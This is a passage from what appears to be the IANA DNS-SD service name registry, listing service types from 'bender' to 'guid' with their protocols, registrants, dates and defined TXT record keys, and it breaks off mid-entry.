bender                                Bender Communication         [Bender_GmbH_Co_KG]                                   [Markus_Kremer]                                           2013-10-15                                                                                     Defined TXT keys: product version bus id featuremask
                                      Protocol
bfagent                               BuildForge Agent             [Joe_Senner_2]                                        [Joe_Senner_2]                                                                                                                                           Defined TXT keys: None
bigbangchess                          Big Bang Chess               [Freeverse_Software]                                  [Freeverse_Software]                                                                                                                                     Defined TXT keys: None
bigbangmancala                        Big Bang Mancala             [Freeverse_Software]                                  [Freeverse_Software]                                                                                                                                     Defined TXT keys: None
bitflit                        tcp    Data transfer service        [Ramesh_Gupta]                                        [Ramesh_Gupta]                                            2012-02-21                                                                                     Defined TXT keys: provider, vendor, user, host, deploy,
                                                                                                                                                                                                                                                                                  prototype, schedule
bittorrent                            BitTorrent Zeroconf Peer     [Robin_Perkins]                                       [Robin_Perkins]                                                                                                                                          Defined TXT keys: None
                                      Discovery Protocol
                                      Little Black Book                                                                                                                                                                                                                           Defined TXT keys: product=<application name>
blackbook                             Information Exchange         [David_HM_Spector][Paul_M_Franceus]                   [David_HM_Spector][Paul_M_Franceus]                                                                                                                      description=<application description name>
                                      Protocol                                                                                                                                                                                                                                    version=<application version/build number> protovers=<version
                                                                                                                                                                                                                                                                                  of protocol in use by by this application>
bluevertise                    udp    BlueVertise Network Protocol [Fabrizio_Guglielmino]                                [Fabrizio_Guglielmino]                                                                                                                                   Defined TXT keys: role=<master or slave>
                                      (BNP)
boardplus                      tcp    board plus application       [CX5_SOFTWARE]                                        [Yohei_Yoshihara]                                         2013-02-04                                                                                     Defined TXT keys: None
                                      transfer protocol
                                      Booked communication                                                                                                                                                                                                                        Defined TXT keys: Edition, Version, Public Shares, Machine
booked-sync                    tcp    protocol - Sharing And Sync  [Sören_Havemester]                                    [Sören_Havemester]                                        2013-02-18                                                                                     ID, Machine Name
                                      Service
bookworm                              Bookworm Client Discovery    [Arne_Dirks]                                          [Arne_Dirks]                                                                                                                                             Defined TXT keys: flavors
boundaryscan                   udp    Proprietary                  [Uwe_Ziegler]                                         [Uwe_Ziegler]                                                                                                                                            Defined TXT keys: blocked=<name of the device>,
                                                                                                                                                                                                                                                                                  version=<firmware/instrument controller version>
bousg                                 Bag Of Unusual Strategy                                                                                                                                                                                                                     Defined TXT keys: None
                                      Games
boutfitness                    tcp    Bout Fitness Synchronization [Bout_Fitness_LLC]                                    [Jesse_Curry]                                             2014-06-16                                                                                     Defined TXT keys: None
                                      Service
boutfitness                    udp    Bout Fitness Synchronization [Bout_Fitness_LLC]                                    [Jesse_Curry]                                             2014-06-16                                                                                     Defined TXT keys: None
                                      Service
boxraysrvr                     tcp    Boxray Devices Host Server   [Caprice_Productions]                                 [Lance_Drake]                                             2012-07-05                                                                                     Defined TXT keys: none
bq-cromo                       tcp    bq Cromo protocol            [MUNDO_READER_SL]                                     [Adan_Munoz]                                              2014-09-05                                                                                     Defined TXT keys: None
bq-cromo                       udp    bq Cromo protocol            [MUNDO_READER_SL]                                     [Adan_Munoz]                                              2014-09-05                                                                                     Defined TXT keys: None
breas                          tcp    Breas                        [Breas_Medical_AB]                                    [Jonas_Sjostedt]                                          2015-09-09                                                                                     Defined TXT keys: None
breas                          udp    Breas                        [Breas_Medical_AB]                                    [Jonas_Sjostedt]                                          2015-09-09                                                                                     Defined TXT keys: None
bri                                   RFID Reader Basic Reader     [Thaddeus_Ternes]                                     [Thaddeus_Ternes]                                                                                                                                        Defined TXT keys: None
                                      Interface
bridgeprotocol                 tcp    JSON RPC Bridge Protocol     [Michel_Stam_2]                                       [Michel_Stam_2]                                           2012-11-20                                                                                     Defined TXT keys: path, version
bsqdea                                Backup Simplicity            [Qdea]                                                [Qdea]                                                                                                                                                   Defined TXT keys: None
                                      Beats Transfer Protocol
btp                            tcp    allows for the discovery and [Beats_Electronics_LLC_2]                             [Yunho_Huh]                                               2014-02-17   2014-06-27                                                                        Defined TXT keys: None
                                      control of devices
buddycloud-api                 tcp    buddycloud API               [buddycloud]                                          [Simon_Tennant]                                           2013-05-20                                                                                     Defined TXT keys: v, host, protocol, path, port
buzzer                         tcp    Service for opening electric [Mnemo.ai]                                            [Arturo_Falck]                                            2017-12-22                                                                                     Defined TXT keys: None
                                      doors
caldav                         tcp    Calendaring Extensions to    [IESG]                                                [IETF_Chair]                                              2012-02-17                [RFC6764]                                                            This is an extension of the http service. Defined TXT keys:
                                      WebDAV (CalDAV) - non-TLS                                                                                                                                                                                                                   path=<context path>
caldavs                        tcp    Calendaring Extensions to    [IESG]                                                [IETF_Chair]                                              2012-02-17                [RFC6764]                                                            This is an extension of the https service. Defined TXT keys:
                                      WebDAV (CalDAV) - over TLS                                                                                                                                                                                                                  path=<context path>
caltalk                               CalTalk                      [Joe_Groff]                                           [Joe_Groff]                                                                                                                                              Defined TXT keys: None
canon-chmp                     tcp    Canon HTTP Management        [Canon_Inc_3]                                         [Tomoyuki_Hansaki]                                        2014-09-03   2015-03-16                                                                        Defined TXT keys: txtvers, mpath
                                      Protocol
carddav                        tcp    vCard Extensions to WebDAV   [IESG]                                                [IETF_Chair]                                              2012-02-17                [RFC6352]                                                            This is an extension of the http service. Defined TXT keys:
                                      (CardDAV) - non-TLS                                                                                                                                                                                                                         path=<context path>
carddavs                       tcp    vCard Extensions to WebDAV   [IESG]                                                [IETF_Chair]                                              2012-02-17                [RFC6352]                                                            This is an extension of the https service. Defined TXT keys:
                                      (CardDAV) - over TLS                                                                                                                                                                                                                        path=<context path>
cardsend                              Card Send Protocol           [Jeff_Grossman]                                       [Jeff_Grossman]                                                                                                                                          Defined TXT keys: Proprietary
carousel                       tcp    Carousel Player Protocol     [Tightrope_Media_Systems]                             [Scott_Jann]                                              2011-10-17                                                                                     Defined TXT keys: None
                                      IP and Closed-Circuit                                                                                                                                                                                                                       Defined TXT keys: u=<username>, p=<password>, path=<path to
cctv                                  Television for Securitiy     [Frank_Rottmann]                                      [Frank_Rottmann]                                                                                                                                         XML file>
                                      applications
cerebra                        tcp    Control the Cerebra Aquarium [Vertex_Technologies_Inc]                             [Christopher_Schlacta]                                    2018-04-20                                                                                     Defined TXT keys: None
                                      Controller
certificates                   tcp    Server for S/MIME and PGP    [IESG]                                                [John_Levine]                                             2016-07-26                [draft-bhjl-x509-srv-01]                                             Defined TXT keys: None
                                      certificates
cheat                                 The Cheat                    [Chaz_McGarvey]                                       [Chaz_McGarvey]                                                                                                                                          Defined TXT keys: None
chess                                 Project Gridlock                                                                                                                                                                                                                            Defined TXT keys: None
chfts                                 Fluid Theme Server                                                                                                                                                                                                                          Defined TXT keys: None
chili                                 The CHILI Radiology System   [Andre_Schroter]                                      [Andre_Schroter]                                                                                                                                         Defined TXT keys: None
ciao                           tcp    Ciao Arduino Protocol        [Mike_Colagrosso]                                     [Mike_Colagrosso]                                         2011-10-24                                                                                     Defined TXT keys: see www.ciaoapp.com
                                      Discovery of JDF (CIP4 Job
cip4discovery                         Definition Format) enabled   [Stefan_Daun]                                         [Stefan_Daun]                                                                                                                                            Defined TXT keys: None
                                      devices
clipboard                             Clipboard Sharing                                                                                                                                                                                                                           Defined TXT keys: None
clique                         udp    Clique Link-Local Multicast  [Telepathy_project]                                   [Telepathy_project]                                                                                                                                      Defined TXT keys: see
                                      Chat Room                                                                                                                                                                                                                                   http://telepathy.freedesktop.org/xmpp/clique
clscts                                Oracle CLS Cluster Topology  [David_Brower]                                        [David_Brower]                                                                                                                                           Defined TXT keys: None
                                      Service
collection                            Published Collection Object  [Brady_Anderson]                                      [Brady_Anderson]                                                                                                                                         Defined TXT keys: version=?
                                      A client-server chat for LAN                                                                                                                                                                                                                Defined TXT keys: commfort, chat, communications,
commfort                       tcp    or Internet with video chat  [CommFort_software_Ltd.]                              [Maxim_Mirgorodsky]                                       2016-03-03                                                                                     client-server, local chat, LAN, network, voice chat, video
                                      support                                                                                                                                                                                                                                     chat, video communication, video conference, file transfer
com-ocs-es-mcc                        ElectraStar media centre     [OC]                                                  [OC]                                                                                                                                                     Defined TXT keys: None
                                      control protocol
contactserver                         Now Contact                                                                                                                                                                                                                                 Defined TXT keys: None
coolanetaudio                  tcp    Coolatoola Network Audio     [Coolatoola.com]                                      [Tim_Hewett]                                              2014-01-03                                                                                     Defined TXT keys: None
corroboree                            Corroboree Server            [Heath_Raftery]                                       [Heath_Raftery]                                                                                                                                          Defined TXT keys: None
coviot                         tcp    Service for coviot branded   [Coviot]                                              [Adnan_Senyurt]                                           2017-05-19                                                                                     Defined TXT keys: FW_VERSION, PROTOCOL_VERSION,
                                      devices                                                                                                                                                                                                                                     SERVICE_DESCRIPTION
coviot                         udp    Service for coviot branded   [Coviot]                                              [Adnan_Senyurt]                                           2017-05-19                                                                                     Defined TXT keys: FW_VERSION, PROTOCOL_VERSION,
                                      devices                                                                                                                                                                                                                                     SERVICE_DESCRIPTION
cpnotebook2                           NoteBook 2                   [Circus_Ponies_Suppor]                                [Circus_Ponies_Suppor]                                                                                                                                   Defined TXT keys: None
csi-mmws                       tcp    Canfield Scientific Inc -    [Canfield_Scientific_Inc]                             [James_Crismale]                                          2013-07-02                                                                                     Defined TXT keys: path
                                      Mirror Mobile Web Services
cw-codetap                            CodeWarrior HTI Xscale       [Ted_Woodward]                                        [Ted_Woodward]                                                                                                                                           Defined TXT keys: None
                                      PowerTAP
cw-dpitap                             CodeWarrior HTI DPI PowerTAP [Ted_Woodward]                                        [Ted_Woodward]                                                                                                                                           Defined TXT keys: None
cw-oncetap                            CodeWarrior HTI OnCE         [Ted_Woodward]                                        [Ted_Woodward]                                                                                                                                           Defined TXT keys: None
                                      PowerTAP
cw-powertap                           CodeWarrior HTI COP PowerTAP [Ted_Woodward]                                        [Ted_Woodward]                                                                                                                                           Defined TXT keys: None
cytv                                  CyTV - Network streaming for [Andreas_Junghans]                                    [Andreas_Junghans]                                                                                                                                       Defined TXT keys: None
                                      Elgato EyeTV
dacp                                  Digital Audio Control        [Amandeep_Jawa_3]                                     [Amandeep_Jawa_3]                                                                                                                                        Defined TXT keys: txtvers, Ver, DbId
                                      Protocol (iTunes)
dancepartner                          Dance partner application    [Rory_McClure]                                        [Rory_McClure]                                                                                                                                           Defined TXT keys: None
                                      for iPhone
darkhorsetimer                 tcp    Timer LAN service            [Dark_Horse_GmbH_Co_KG]                               [Ludwig_Kannicht]                                         2015-06-02                                                                                     Defined TXT keys: None
dataturbine                           Open Source DataTurbine      [Tony_Fountain]                                       [Tony_Fountain]                                                                                                                                          Defined TXT keys: None
                                      Streaming Data Middleware
                                                                                                                                                                                                                                                                                  Defined TXT keys:txtvers=<TXT-Record version>
dbaudio                        tcp    d&b audiotechnik remote      [d_b_audiotechnik]                                    [Christian_Laendner]                                      2011-10-06                                                                                     protovers=<version of proprietary protocol> guid=<type>
                                      network                                                                                                                                                                                                                                     name=<name> sn=<serial number> device=<cleartext type>
                                                                                                                                                                                                                                                                                  fwver=<firmware version>
                                                                                                                                                                                                                                                                                  Defined TXT keys:txtvers=<TXT-Record version>
dbaudio                        udp    d&b audiotechnik remote      [d_b_audiotechnik]                                    [Christian_Laendner]                                      2011-10-06                                                                                     protovers=<version of proprietary protocol> guid=<type>
                                      network                                                                                                                                                                                                                                     name=<name> sn=<serial number> device=<cleartext type>
                                                                                                                                                                                                                                                                                  fwver=<firmware version>
dccp-ping                     dccp    ping/traceroute using DCCP   [Samuel_Jero]                                         [Samuel_Jero]                                             2012-11-14                                                             1885957735              Defined TXT keys: None
dell-soo-ds                    tcp    Spotlight on Oracle          [Dell_2]                                              [Rob_Griffin_3]                                           2013-10-03                                                                                     Defined TXT keys: None
                                      Diagnostic Server
dell-soo-ds                    udp    Spotlight on Oracle          [Dell_2]                                              [Rob_Griffin_3]                                           2013-10-03                                                                                     Defined TXT keys: None
                                      Diagnostic Server
dell-soss-ds-w                 tcp    Spotlight on SQL Server      [Dell_2]                                              [Rob_Griffin_3]                                           2013-10-03                                                                                     Defined TXT keys: None
                                      Diagnostic Server HTTP
dell-ssms-ds                   tcp    Spotlight SSMS Plugin        [Dell_2]                                              [Rob_Griffin_3]                                           2013-10-03                                                                                     Defined TXT keys: None
                                      Diagnostic Server
demoncamremote                 tcp    Peer-to-peer real-time video [James_Alan_Bush]                                     [James_Alan_Bush]                                         2017-09-26                                                                                     Defined TXT keys: None
                                      streaming
demoncamremote                 udp    Peer-to-peer real-time video [James_Alan_Bush]                                     [James_Alan_Bush]                                         2017-09-26                                                                                     Defined TXT keys: None
                                      streaming
device-info                           Device Info                  [Stuart_Cheshire_5][Marc_Krochmal]                    [Stuart_Cheshire_5][Marc_Krochmal]                                                                                                                       Not a service type. Special name reserved for DNS-SD device
                                                                                                                                                                                                                                                                                  info.
devonsync                      tcp    DEVONthink synchronization   [DEVONtechnologies_LLC]                               [Rob_Rix][Eric_Boehnisch-Volkmann]                        2011-10-18                                                                                     Defined TXT keys: None at present
                                      protocol
dhanda-g                       tcp    DHANDAg is going for a site  [DHANDAg]                                             [Deepam]                                                  2017-12-29                                                                                     Defined TXT keys: None
dhanda-g                       udp    DHANDAg is going for a site  [DHANDAg]                                             [Deepam]                                                  2017-12-29                                                                                     Defined TXT keys: None
dhanda-g                      sctp    DHANDAg is going for a site  [DHANDAg]                                             [Deepam]                                                  2017-12-29                                                                                     Defined TXT keys: None
dictation                             Use of a dictation service   [Nuance_Communications_Inc]                           [Mark_Jackson]                                            2011-10-27                                                                                     Defined TXT keys: ver, name
                                      by a hand-held device
difi                                  EyeHome                      [Elgato]                                              [Elgato]                                                                                                                                                 Defined TXT keys: None
disconnect                            DisConnect Peer to Peer Game [Michael_S_Bogovich]                                  [Michael_S_Bogovich]                                                                                                                                     Defined TXT keys: None
                                      Protocol
displaysrc                     tcp    Wi-Fi Alliance Display       [Wi-Fi_Alliance_3]                                    [Gaurav_Jain]                                             2017-03-14                                                                                     Defined TXT keys: None
                                      Source service
dist-opencl                           Distributed OpenCL discovery [William_Dillon]                                      [William_Dillon]                                                       2013-04-10                                                                        Defined TXT keys: TCPendpoint, UDPendpoint, UUID
                                      protocol
ditrios                               Ditrios SOA Framework        [Mark_Schmatz]                                        [Mark_Schmatz]                                                                                                                                           Defined TXT keys:
                                      Protocol                                                                                                                                                                                                                                    http://www.ditrios.org/index.php?link=tutorial/index#zeroconf
divelogsync                           Dive Log Data Sharing and    [Greg_McLaughlin]                                     [Greg_McLaughlin]                                                                                                                                        Defined TXT keys: None
                                      Synchronization Protocol
dlpx-sp                        tcp    Delphix Session Protocol     [Delphix_Corp]                                        [Peng_Dai]                                                2012-10-02                                                                                     Defined TXT keys: None
dltimesync                     udp    Local Area Dynamic Time      [Geoff_Back_3]                                        [Geoff_Back_3]                                                                                                                                           Defined TXT keys: None
                                      Synchronisation Protocol
dns-sd                                DNS Service Discovery        [Stuart_Cheshire_5][Marc_Krochmal]                    [Stuart_Cheshire_5][Marc_Krochmal]                                                                                                                       Not a service type. Special name reserved for DNS-SD meta
                                                                                                                                                                                                                                                                                  queries.
                                                                                                                                                                                                                                                                                  DNS Dynamic Update Service for a given domain may not
                                                                                                                                                                                                                                                                                  necessarily be provided by the principal name servers as
                                                                                                                                                                                                                                                                                  advertised by the domain's "NS" records, and may not
dns-update                     udp    DNS Dynamic Update Service   [Kiren_Sekar_2]                                       [Kiren_Sekar_2]                                                                                                                                          necessarily always be provided on port 53. The
                                                                                                                                                                                                                                                                                  "_dns-update._udp.<domain>." SRV record gives the target host
                                                                                                                                                                                                                                                                                  and port where DNS Dynamic Update Service is provided for the
                                                                                                                                                                                                                                                                                  named domain.
dop                                   Roar (Death of Productivity) [Massive_Flow_Product]                                [Massive_Flow_Product]                                                                                                                                   Defined TXT keys: name=<full username>
dropcopy                              DropCopy                     [base_t_Interactive]                                  [base_t_Interactive]                                                                                                                                     Defined TXT keys: None
dsgsync                               Datacolor SpyderGallery      [Datacolor]                                           [Heath_Barber]                                            2011-10-14                                                                                     Defined TXT keys: Proprietary
                                      Desktop Sync Protocol
                                      Data Synchronization
dsl-sync                              Protocol for Discovery       [John_Hogg]                                           [John_Hogg]                                                                                                                                              Defined TXT keys: Proprietary
                                      Software products
dtrmtdesktop                          Desktop Transporter Remote   [Daniel_Stodle]                                       [Daniel_Stodle]                                                                                                                                          Defined TXT keys: None
                                      Desktop Protocol
                                      A communication protocol
duckrace                       tcp    that allows a school teacher [Stinky_Kitten_Limited]                               [Gary_Atkinson]                                           2013-10-03                                                                                     Defined TXT keys: txtvers uuid devicename
                                      to set work activities to
                                      students over a LAN.
dxtgsync                              Documents To Go Desktop Sync [Tim_Boyle]                                           [Tim_Boyle]                                                                                                                                              Defined TXT keys: Proprietary
                                      Protocol
ea-dttx-poker                         Protocol for EA Downtown     [Ben_Lewis]                                           [Ben_Lewis]                                                                                                                                              Defined TXT keys: None
                                      Texas Hold 'em
earphoria                             Earphoria                    [Rogue_Amoeba]                                        [Rogue_Amoeba]                                                                                                                                           Defined TXT keys: None
easyspndlg-sync                tcp    Sync service for the Easy    [Aaron_L_Bratcher]                                    [Aaron_L_Bratcher]                                        2011-10-17                                                                                     Defined TXT keys: None
                                      Spend Log app
eb-amuzi                              Amuzi peer-to-peer session   [Zachary_Gramana]                                     [Zachary_Gramana]                                                                                                                                        Defined TXT keys: Proprietary
                                      synchronization protocol
eb-sync                        tcp    Easy Books App data sync     [Geode_Software_Ltd]                                  [Mathew_Waters]                                           2014-05-14                                                                                     Defined TXT keys: None
                                      helper for Mac OS X and iOS
eb-sync                        udp    Easy Books App data sync     [Geode_Software_Ltd]                                  [Mathew_Waters]                                           2014-05-14                                                                                     Defined TXT keys: None
                                      helper for Mac OS X and iOS
ebms                                  ebXML Messaging              [Matthew_MacKenzie]                                   [Matthew_MacKenzie]                                                                                                                                      Defined TXT keys: Endpoint=</path/to/endpoint>
                                      Northrup Grumman/Mission
ecms                                  Systems/ESL Data Flow        [Dan_Goff]                                            [Dan_Goff]                                                                                                                                               Defined TXT keys: None
                                      Protocol
ebreg                                 ebXML Registry               [Matthew_MacKenzie]                                   [Matthew_MacKenzie]                                                                                                                                      Defined TXT keys:
                                                                                                                                                                                                                                                                                  HttpBinding=</path/to/registry/http/binding>
ecbyesfsgksc                          Net Monitor Anti-Piracy      [Guy_Meyer]                                           [Guy_Meyer]                                                                                                                                              Defined TXT keys: None
                                      Service
edcp                           udp    LaCie Ethernet Disk          [Nicolas_Bouilleaud]                                  [Nicolas_Bouilleaud]                                                                                                                                     Defined TXT keys: ip, mac, dhcp, mask, gtwy, wins, name,
                                      Configuration Protocol                                                                                                                                                                                                                      version
edge1                          tcp    Edge1 Base Station           [Skycatch_Inc.]                                       [Ruben_Beltran_del_Rio_3]                                 2018-02-09                                                                                     Defined TXT keys: None
                                      Provides resolution of EDS
edsservice                     tcp    services available on a      [Morpho_Detection_LLC]                                [Natarajan_Subramanian]                                   2016-07-19                                                                                     Defined TXT keys: None
                                      given network
eeg                            tcp    EEG System Discovery across  [Shifted_Current]                                     [Joel_Aaron_Clipperton]                                   2012-09-11                                                                                     Defined TXT keys: Type
                                      local and wide area networks
efkon-elite                    tcp    EFKON Lightweight Interface  [EFKON_AG]                                            [Thomas_Kemmer]                                           2011-10-20                                                                                     Defined TXT keys: txtvers, protovers, model, serial, scheme,
                                      to Traffic Events                                                                                                                                                                                                                           path
egistix                               Egistix Auto-Discovery       [Dave_Lindquist_2]                                    [Dave_Lindquist_2]                                                                                                                                       Defined TXT keys: None
                                      Interactive Room Software
eheap                                 Infrastructure (Event                                                                                                                                                                                                                       Defined TXT keys: None
                                      Sharing)
embrace                               DataEnvoy                    [Rob_MacGregor]                                       [Rob_MacGregor]                                                                                                                                          Defined TXT keys: None
enphase-envoy                  tcp    Enphase Energy Envoy         [Enphase_Energy_Inc]                                  [Chris_Eich]                                              2011-11-08                                                                                     Defined TXT keys: - txtvers - protovers - serialnum
                                      Endpoint Protocol (EP) for
ep                                    use in Home Automation       [Tommy_van_der_Vorst]                                 [Tommy_van_der_Vorst]                                                                                                                                    Defined TXT keys: dns-sd_mdns
                                      systems
esp                            tcp    Extensis Server Protocol     [Loren_Barr]                                          [Loren_Barr]                                              2006-12                                                                                        Defined TXT keys: none
est                            tcp    Enrollment Over Secure       [Jack_Visoky]                                         [Jack_Visoky]                                             2017-10-06                                                                                     [RFC7030]. Defined TXT keys: none
                                      Transport
eucalyptus                            Eucalyptus Discovery         [Support_Team]                                        [Support_Team]                                                                                                                                           Defined TXT keys: Eucalyptus-DNS-SD
eventserver                           Now Up-to-Date                                                                                                                                                                                                                              Defined TXT keys: None
evp                            tcp    EvP - Generic EVENT protocol [Quentin_Glidic]                                                                                                2013-06-05                                                                                     Defined TXT keys: None
evs-notif                             EVS Notification Center      [Eric_Gillet]                                         [Eric_Gillet]                                                                                                                                            Defined TXT keys: ID, Address
                                      Protocol
ewalletsync                           Synchronization Protocol for [Dan_Amstutz]                                         [Dan_Amstutz]                                                                                                                                            Defined TXT keys: name=<friendly device name>
                                      Ilium Software's eWallet
                                                                                                                                                                                                                                                                                  Not a real service type. Special 'pretend' service types
example                               Example Service Type                                                                                                                                                                                                                        ("_example._udp" and "_example._tcp") reserved for use in
                                                                                                                                                                                                                                                                                  illustrative examples in books and other documentation.
exb                                   Exbiblio Cascading Service   [Claes_Fredrik_Mannby]                                [Claes_Fredrik_Mannby]                                                                                                                                   Defined TXT keys: Will be described at www.exbiblio.com
                                      Protocol
extensissn                            Extensis Serial Number       [Extensis]                                            [Extensis]                                                                                                                                               Defined TXT keys: None
eyetvsn                               EyeTV Sharing                [Elgato]                                              [Elgato]                                                                                                                                                 Defined TXT keys: txtvers=1, keyhash=<4 bytes>
facespan                              FaceSpan                     [Kerry_Hazelgren]                                     [Kerry_Hazelgren]                                                                                                                                        Defined TXT keys: None
faxstfx                               FAXstf                       [Smith_Micro]                                         [Smith_Micro]                                                                                                                                            Defined TXT keys: None
feed-sharing                          NetNewsWire 2.0              [Ranchero_Software]                                   [Ranchero_Software]                                                                                                                                      Defined TXT keys: None
feldwesen                      tcp    proprietary                  [Kiel_University_of_Applied_Sciences]                 [Matthias-Christian_Ott]                                  2016-06-19                                                                                     Defined TXT keys: None
firetask                              Firetask task sharing and    [Gerald_Aquila]                                       [Gerald_Aquila]                                                                                                                                          Defined TXT keys: None
                                      synchronization protocol
fish                                  Fish                         [Oriol_Ferrer_Mesia]                                  [Oriol_Ferrer_Mesia]                                                                                                                                     Defined TXT keys: None
                                                                                                                                                                                                                                                                                  Defined TXT keys: Currently valid enumerated values: FIX
                                                                                                                                                                                                                                                                                  Session Protocol Versions (SESSIONVERSION): 1.1 FIX
                                                                                                                                                                                                                                                                                  Application Protocol Versions (APPLICATIONVERSION): 2.7, 3.0,
fix                                   Financial Information        [Joakim_Johansson]                                    [Joakim_Johansson]                                                                                                                                       4.0, 4.1, 4.2, 4.3, 4.4, 5.0 Possible TXT records defined and
                                      Exchange (FIX) Protocol                                                                                                                                                                                                                     their values (replace uppercase text with enumerations from
                                                                                                                                                                                                                                                                                  the list above): txtvers=1 fix=APPLICATIONVERSION fix
                                                                                                                                                                                                                                                                                  supported=APPLICATIONVERSION[,APPLICATIONVERSION, ...
                                                                                                                                                                                                                                                                                  ,APPLICATIONVERSION] fixt=SESSIONVERSION
fjork                                 Fjork                        [John_Schilling]                                      [John_Schilling]                                                                                                                                         Defined TXT keys: None
fl-purr                        udp    FilmLight Cluster Power      [Darrin_Smart]                                        [Darrin_Smart]                                                                                                                                           Defined TXT keys: Proprietary
                                      Control Service
flightdmp                      tcp    Flight Data Monitoring       [Brad_Head]                                           [Brad_Head]                                               2013-02-07                                                                                     Defined TXT keys: None
                                      Protocol
flightdmp                      udp    Flight Data Monitoring       [Brad_Head]                                           [Brad_Head]                                               2013-02-07                                                                                     Defined TXT keys: None
                                      Protocol
flir-ircam                     tcp    FLIR Infrared Camera         [FLIR_Systems_AB]                                     [Bjorn_Roth][Klas_Malmborg]                               2011-10-20                                                                                     Defined TXT keys: Proprietary
                                      FileMaker Server
fmserver-admin                        Administration Communication [Eric_Jacobson]                                       [Eric_Jacobson]                                                                                                                                          Defined TXT keys: None
                                      Service
fontagentnode                         FontAgent Pro                [Insider_Software]                                    [Insider_Software]                                                                                                                                       Defined TXT keys: None
foxtrot-serv                          FoxTrot Search Server        [Jerome_Seydoux]                                      [Jerome_Seydoux]                                                                                                                                         Defined TXT keys: None
                                      Discovery Service
foxtrot-start                         FoxTrot Professional Search  [Jerome_Seydoux]                                      [Jerome_Seydoux]                                                                                                                                         Defined TXT keys: None
                                      Discovery Service
frameforge-lic                        FrameForge License           [James_W_Walker]                                      [James_W_Walker]                                                                                                                                         Defined TXT keys: Proprietary
freehand                              FreeHand MusicPad Pro        [Ted_Schroeder]                                       [Ted_Schroeder]                                                                                                                                          Defined TXT keys: None
                                      Interface Protocol
frog                                  Frog Navigation Systems      [Rene_Jager]                                          [Rene_Jager]                                                                                                                                             Defined TXT keys: type, name, id
ftpcroco                              Crocodile FTP Server         [Xnet_Communications]                                 [Xnet_Communications]                                                                                                                                    Defined TXT keys: None
fv-cert                        udp    Fairview Certificate         [Jim_Lyle_2]                                          [Jim_Lyle_2]                                                                                                                                             Defined TXT keys: DevID=<device id>, DevPK=<device public
                                                                                                                                                                                                                                                                                  key>
fv-key                         udp    Fairview Key                 [Jim_Lyle_2]                                          [Jim_Lyle_2]                                                                                                                                             Defined TXT keys: KeyID=<device id>
fv-time                        udp    Fairview Time/Date           [Jim_Lyle_2]                                          [Jim_Lyle_2]                                                                                                                                             Defined TXT keys: None
garagepad                             Entrackment Client Service   [Talkative_AB]                                        [Talkative_AB]                                                                                                                                           Defined TXT keys: None
giffer                         tcp    gif collection browsing      [Taber_Buhl]                                          [Taber_Buhl]                                              2015-09-24                                                                                     Defined TXT keys: version=<protocol version>
                                      G-Force Control via
gforce-ssmp                           SoundSpectrum's SSMP TCP     [Andy_O_Meara]                                        [Andy_O_Meara]                                                                                                                                           Defined TXT keys: None
                                      Protocol
glasspad                              GlassPad Data Exchange       [Emmanuel_Merali]                                     [Emmanuel_Merali]                                                                                                                                        Defined TXT keys: guid
                                      Protocol
glasspadserver                        GlassPadServer Data Exchange [Emmanuel_Merali]                                     [Emmanuel_Merali]                                                                                                                                        Defined TXT keys: guid
                                      Protocol
glrdrvmon                             OpenGL Driver Monitor        [Dave_Springer]                                       [Dave_Springer]                                                                                                                                          Defined TXT keys: None
                                      Service related to Google
                                      Expeditions which is a
                                      technology for enabling
googexpeditions                tcp    multi-participant virtual    [Google_Inc]                                          [Jason_Schiller]                                          2015-07-31                                                                                     Defined TXT keys: None
                                      fieldtrip experiences over a
                                      local wireless network. See
                                      http://g.co/expeditions for
                                      more details
                                      Service related to Google
                                      Expeditions which is a
                                      technology for enabling
googexpeditions                udp    multi-participant virtual    [Google_Inc]                                          [Jason_Schiller]                                          2015-07-31                                                                                     Defined TXT keys: None
                                      fieldtrip experiences over a
                                      local wireless network. See
                                      http://g.co/expeditions for
                                      more details
                                      Service related to Google
                                      Cast which is a technology
googlecast                     tcp    for enabling multi-screen    [Google_Inc]                                          [Jason_Schiller]                                          2014-01-16                                                                                     Defined TXT keys: None
                                      experiences. See
                                      developers.google.com/cast
                                      for more details
goorstop                       tcp    For iOS Application named    [Charlie_Kim]                                         [Charlie_Kim]                                             2012-08-28                                                                                     Defined TXT keys: None
                                      GoOrStop
gopro-wake                     udp    GoPro proprietary protocol   [GoPro]                                               [Joe_Enke]                                                2014-10-13                                                                                     Defined TXT keys: model, fw_version, platform_version,
                                      to wake devices                                                                                                                                                                                                                             protocol_version, mac_address
gopro-web                      udp    GoPro proprietary protocol   [GoPro]                                               [Joe_Enke]                                                2014-10-13                                                                                     Defined TXT keys: model, fw_version, platform_version,
                                      for devices                                                                                                                                                                                                                                 protocol_version, mac_address
gotit                          tcp    Network name Got It!         [Bill_Vlahos]                                         [Bill_Vlahos]                                             2013-12-13                                                                                     Defined TXT keys: info=name
gpnp                                  Grid Plug and Play           [David_Brower]                                        [David_Brower]                                                                                                                                           Defined TXT keys: None
grillezvous                           Roxio ToastAnywhere(tm)                                                                                                                                                                                                                     Defined TXT keys: AppID=<application id> KeyHash=<application
                                      Recorder Sharing                                                                                                                                                                                                                            license key hash>
groovesquid                    tcp    Groovesquid Democratic Music [www_nsovocal_com]                                    [Ruben_Beltran]                                           2011-10-18                                                                                     Defined TXT keys: None
                                      Control Protocol
growl                                 Growl                                                                                                                                                                                                                                       Defined TXT keys: None
gsremotecontrol                tcp    General Satellite set-top    [General_Satellite]                                   [Sergey_Zubov]                                            2014-02-25                                                                                     Defined TXT keys: None
                                      box remote control
                                      Image Data Transfer API for
gucam-http                     tcp    Wi-Fi Camera Devices over    [Ripplex_Inc]                                         [Hiroshi_Matsuda]                                         2013-03-04                                                                                     Defined TXT keys: device-name=<name of camera device>
                                      HTTP
                                                                                                                                                                                                                                                                                  Defined TXT keys: Varies; Depends on type of service being
                                                                                                                                                                                                                                                                                  offered/resolved Although DNS-SD does not recommend or
                                                                                                                                                                                                                                                                                  advocate using GUIDs as the primary name of an offered
                                                                                                                                                                                                                                                                                  service why not?, it does support use of GUIDs as service
                                                                                                                                                                                                                                                                                  names where developers want to use them that way. Typically
                                                                                                                                                                                                                                                                                  users do not browse for GUIDs. They are not user-friendly and
                                                                                                                                                                                                                                                                                  not very informative. Typically, the service is advertised as
                                                                                                                                                                                                                                                                                  usual, using a user-friendly name. One of the TXT record
                                                                                                                                                                                                                                                                                  attributes is a GUID for the service instance. Once the user
                                      Special service type for                                                                                                                                                                                                                    has browsed and chosen the desired service instance via its
guid                                  resolving by GUID (Globally                                                                                                                                                                                                                 user-friendly name, the service is resolved, the TXT record
                                      Unique Identifier)                                                                                                                                                                                                                          is retrieved, and the GUID is stored. A given network service
